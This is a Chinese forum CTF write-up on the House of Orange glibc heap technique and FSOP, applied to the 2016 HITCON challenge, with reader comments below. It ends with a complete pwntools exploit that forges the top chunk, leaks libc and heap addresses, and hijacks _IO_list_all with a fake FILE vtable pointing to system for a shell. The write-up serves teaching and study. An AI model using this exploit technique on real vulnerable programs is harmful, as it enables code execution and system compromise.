吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7161|回复: 15
收起左侧

[调试逆向] 2016-HitCon-Pwn-house of orange学习(附赠FSOP基础知识!!)

[复制链接]
peiwithhao 发表于 2022-10-24 22:59
本帖最后由 peiwithhao 于 2023-3-8 13:40 编辑

这里开始著名的house of orange利用方式讲解

house of orange 介绍

House of Orange 与其他的 House of XX 利用方法不同,这种利用方法来自于 Hitcon CTF 2016 中的一道同名题目。由于这种利用方法在此前的 CTF 题目中没有出现过,因此之后出现的一系列衍生题目的利用方法我们称之为 House of Orange。

概述

House of Orange 的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在 free 函数或其他释放堆块的函数。我们知道一般想要利用堆漏洞,需要对堆块进行 malloc 和 free 操作,但是在 House of Orange 利用中无法使用 free 函数,因此 House of Orange 核心就是通过漏洞利用获得 free的效果。

原理

如我们前面所述,House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

我们来看一下这个过程的详细情况,我们假设目前的 top chunk 已经不满足 malloc 的分配需求。 首先我们在程序中的malloc调用会执行到 libc.so 的_int_malloc函数中,在_int_malloc函数中,会依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,因为尺寸问题这些都不符合。接下来_int_malloc函数会试图使用 top chunk,在这里 top chunk 也不能满足分配的要求,因此会执行如下分支

/*
Otherwise, relay to handle system-dependent cases
*/
else {
      void *p = sysmalloc(nb, av);
      if (p != NULL && __builtin_expect (perturb_byte, 0))
        alloc_perturb (p, bytes);
      return p;
}

此时 ptmalloc 已经不能满足用户申请堆内存的操作,需要执行 sysmalloc 来向系统申请更多的空间。 但是对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。

综上,我们要实现 brk 拓展 top chunk,但是要实现这个目的需要绕过一些 libc 中的 check。 首先,malloc 的尺寸不能大于mmp_.mmap_threshold

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap() 分配的内存块小于设定的最大值,将使用 mmap() 系统调用直接向操作系统申请内存。
在 sysmalloc 函数中存在对 top chunk size 的 check,如下

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

这里检查了 top chunk 的合法性,如果第一次调用本函数,top chunk 可能没有初始化,所以可能 old_size 为 0。 如果 top chunk 已经初始化了,那么 top chunk 的大小必须大于等于 MINSIZE,因为 top chunk 中包含了 fencepost,所以 top chunk 的大小必须要大于 MINSIZE。其次 top chunk 必须标识前一个 chunk 处于 inuse 状态,并且 top chunk 的结束地址必定是页对齐的。此外 top chunk 除去 fencepost 的大小必定要小于所需 chunk 的大小,否则在_int_malloc() 函数中会使用 top chunk 分割出 chunk。
我们总结一下伪造的 top chunk size 的要求

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(64位下的0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1  

FSOP

FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}


而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时
  2. 当执行 exit 函数时
  3. 当执行流从 main 函数返回时

综上,FSOP的大致利用思路就是首先构造一个虚假的IO_FILE结构体,在其中修改值使得mod、write_plt、write_base等满足绕过条件,然后构造虚假vtable表来进行劫持,再修改其中将要调用函数的指针即可。  


2016-HitCon-Pwn-house of orange

首先便是分析一条龙

{:1_893:}
程序检查


看看大致程序逻辑,发现看起来还蛮简单的

题目共有三种操作,分别起到了alloc、show、edit的功能
首先查看alloc

从这里发现咱们只能malloc四次,所以咱们得小心点来
再就是看show函数

一切正常,再看edit

这漏洞很明显了,off_by_many,我瞎起的名字啊,师傅勿喷。
首先咱们发现无free函数,则初步认定需要使用house of orange,所以咱们先分配一个小块来看看堆的结构

这里可以看到tophchunk大小为0x20fa1,此时我们通过edit函数来对其进行覆写,注意为了保持页对齐,咱们填入的值只能是以0xfa1结尾,这个末尾1也是绕过所需要的。
我们于是选取0x0fa1对其进行覆盖,结果如下

所以此时咱们再申请一个大小为0x1000的块,这样的话现有的topchunk大小不满足(0xfa0),此时就会系统调用重新分配一块来作为top_chunk,而old top则会放入unsorted bin ,这也就实现了咱们的free功能了,如下图

之后咱们就进行unsorted bin leak(如果这里不熟悉可以看看我之前的文章) 来进行泄露libc,而本程序需要的地址除了libc还有heap_base的地址,所以咱们再次申请一个大小处于largebin的块,这是因为当largebin的一根链条上就只有一个块时,他的fd_nextsize以及bk_nextsize都会指向其自身,所以咱们通过此就可以同时泄露两者了。


当泄露过后就是咱们的FSOP时间,此时咱们的unsorted bin这块宝地还不能放弃,他还有巨大的作用,首先呢那就是进行unsorted bin attack 攻击,使得其中_IO_list_all 处写上咱们的地址,但由于unsorted bin attack的攻击只能让_IO_list_all指向咱们的main_arena的位置,而这片区域咱们不能随心所欲构造绕过值,所以咱们就想到构造chain

以上就是咱们本次需要了解的,如果第一个_IO_file_plus不通过检查,他就会顺着chain来对下一个FILE结构体进行检查,此时咱们构造他就行了,由于chain再file结构体中的偏移为0x68,咱们查看main_arena看看

可以发现chain所在的地区就是small bin中0x60大小链条的地方,所以我们如果此时能获得一个0x60大小的块就好了,但是咱们截至目前已经malloc了三块,还剩最后一块,所以咱们得小心着来。
咱们环顾四周,发现若要触发unsorted bin attack咱们还需要将现在链接的unsorted bin大块给申请回来,但是如果申请回来的话咱们就很难进行下一步,所以这里我们采取如下思路:
首先通过overlapping,将unsorted bin 中的为一块的大小修改为0x60,这样之后当咱们malloc时(程序逻辑alloc函数中在分配所需大小前会先malloc(0x10)来存储信息),若在常规bin中找不到相同大小的块,则会首先将unsorted bin中的块解链,并放入相应的bin中,此时咱们由于修改他的大小为0x60,所以刚好会放入small bin中,这样的话咱们既可以实现unsorted bin attack,又可以构造咱们的fake_IO_FILE了。

之后的构造方式就比较常规vtable劫持和绕过,还需注意的就是vtable中你所调用的函数的参数为_IO_FILE指针,所以这里咱们只需在前8字节写入'/bin/sh'即可

还有一点思路问题注意了,这里的顺序是,在最后malloc(0x10)时,首先会将unsorted bin解链,然后就实现了unsortedbin attack,此时修改完了_IO_list_all链条,然后程序报错调用vtable中的(不过这里报错我没怎么搞懂,程序执行到这儿虽说还没malloc满四个快,但是就是无法申请了,或许说是修改了IO_list_all的缘故)_overflow函数,这里再给出vtable的结构

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail

   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};


成功!

总结

house of orange整体看下来利用过程还不是太难,这里比较考验的反而是堆分配以及unsorted bin的知识。
以下是exp:

from pwn import *
io = process('./pwn')
#io = remote('challenge-eb443f500eb95138.sandbox.ctfhub.com',39881)
libc = ELF("/home/eclipse/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.log_level = "info"
context.terminal = ['tmux','splitw','-h']
def slog(name,address): io.success(name+'==>'+hex(address))
def build(name_length,name):
    io.recvuntil("Your choice : ")
    io.sendline('1')
    io.recvuntil("Length of name :")
    io.sendline(str(name_length))
    io.recvuntil("Name :")
    io.send(name)
    io.recvuntil("Price of Orange:")
    io.sendline('16')
    io.recvuntil("Color of Orange:")
    io.sendline('1')

def show():
    io.recvuntil("Your choice : ")
    io.sendline('2')

def upgrade(name_length,name):
    io.recvuntil("Your choice : ")
    io.sendline('3')
    io.recvuntil("Length of name :")
    io.sendline(str(name_length))
    io.recvuntil("Name:")
    io.send(name)
    io.recvuntil("Price of Orange:")
    io.sendline('16')
    io.recvuntil("Color of Orange:")
    io.sendline('1')

def giveup():
    io.recvuntil("Your choice : ")
    io.sendline('4')
#======= leak the libc_baes=====#
build(16,'aaaaa')       #build k
pl = b'a'*0x30 + p64(0x20) + b'\xa1\x0f\x00'
upgrade(0x50,pl)
build(0x1000,'bbbbb')   #build 1
build(0x400,'a'*8)         #build 2
show()
io.recvuntil('Name of house : ')
io.recv(8)
unsortedbin = u64(io.recv(6).ljust(8,b'\x00')) - 0x610
slog('unsorted_bin',unsortedbin)
main_arena_offset = libc.sym['__malloc_hook'] +0x10
print(hex(main_arena_offset))
libc_base = unsortedbin - 0x58 - main_arena_offset
slog('main_arena',main_arena_offset + libc_base)
slog('libc_base',libc_base)
#===== leak the heap_base======#
upgrade(0x400,'a'*16)
show()
io.recvuntil('Name of house : ')
io.recv(16)
heap_base = u64(io.recv(6).ljust(8,b'\x00'))-0xc0
slog('heap_base',heap_base)
#===== FSOP ======#
mod_offset = 0xc0
write_ptr_offset = 0x28
write_base_offset = 0x20
chain_offset = 0x68
vtable_offset = 0xd8
list_all = libc_base + libc.sym['_IO_list_all']
slog("_IO_list_all",list_all)
pl = b'a'*0x400
pl += p64(0) + p64(0x21)
pl += p64(0)*2
pl += b'/bin/sh\x00'+ p64(0x61)
pl += p64(0) + p64(list_all-0x10) 
pl += p64(0) + p64(1)       #set base = 0 ,ptr = 1
pl += b'\x00'*0x90
pl += p64(0)                #set mod = 0
pl += b'\x00'*0x10
pl += p64(heap_base + 0x5d0) #0x5d0 is the fake_vtable offset
fake_vtable = p64(0)*3 + p64(libc_base + libc.sym['system'])
#then the list_all will point to unsorted bin
pl += fake_vtable
upgrade(len(pl),pl)
io.recvuntil("Your choice : ")
io.sendline('1')
sleep(2)

io.interactive()

免费评分

参与人数 5威望 +2 吾爱币 +104 热心值 +5 收起 理由
小朋友呢 + 2 + 1 我很赞同!
youkfor + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
gaosld + 1 + 1 热心回复!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
OnceAgain + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

xixicoco 发表于 2022-10-25 04:49
大佬级别的文章
mike311611x 发表于 2022-10-25 07:25
lsq665 发表于 2022-10-25 09:11
 楼主| peiwithhao 发表于 2022-10-25 10:56

学着水评论是吧
OnceAgain 发表于 2022-10-27 01:14
厉害了 学到了
头像被屏蔽
爱书不爱输 发表于 2022-10-27 07:45
提示: 作者被禁止或删除 内容自动屏蔽
LostMew 发表于 2022-10-28 22:50
好好看,好好学!
戰龍在野 发表于 2022-10-28 23:59
虽然看不懂但要支持楼主的高深分享
v12608 发表于 2022-10-29 06:34
学习学习了,
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 19:54

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表